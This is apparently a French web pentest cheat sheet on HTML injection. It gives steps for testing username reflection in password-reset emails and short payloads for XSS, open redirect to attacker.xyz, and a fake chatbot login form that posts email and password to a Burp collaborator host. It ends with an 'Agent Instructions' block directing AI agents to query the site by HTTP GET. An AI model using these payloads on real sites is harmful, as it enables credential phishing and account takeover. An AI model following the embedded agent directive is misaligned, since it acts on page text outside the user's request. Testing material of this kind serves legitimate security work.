# HTMLi

## Basic

* Créer un compte
* Changer nom d'utilisateur en "abc>\<h1>attacker\<h1>
* Regarder si l'injection est reflété sur la page dans l'emplacement de votre nom d'utilisateur.
* Faire une demande de mot de passe oublié et regarder si la balise \<h1> a été exécutée dans le mail.
* Si cela fonctionne, essayer d'envoyer un lien de redirection (\<h1>attacker\<h1>\<a href="[https://attacker.com/">Clic](https://attacker.com/">Clic) here\</a>)

## HTML injection to XSS

```html
<a href="javascript:alert(document.domain)">exemple.com</a>
```

## HTML injection to Open Redirect

```html
<meta http-equiv="refresh" content="5;URL=https://attacker.xyz/">
```

## HTML injection to Account takeover

Exemple de fausse page de connexion dans un contexte de champs de commentaire ou on se fait passer pour un chatbot

```html
<h1>Connectez vous pour commencer à chatter</h1>
<form action="https://yourburp.collab.com" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form><!--
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/htmli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
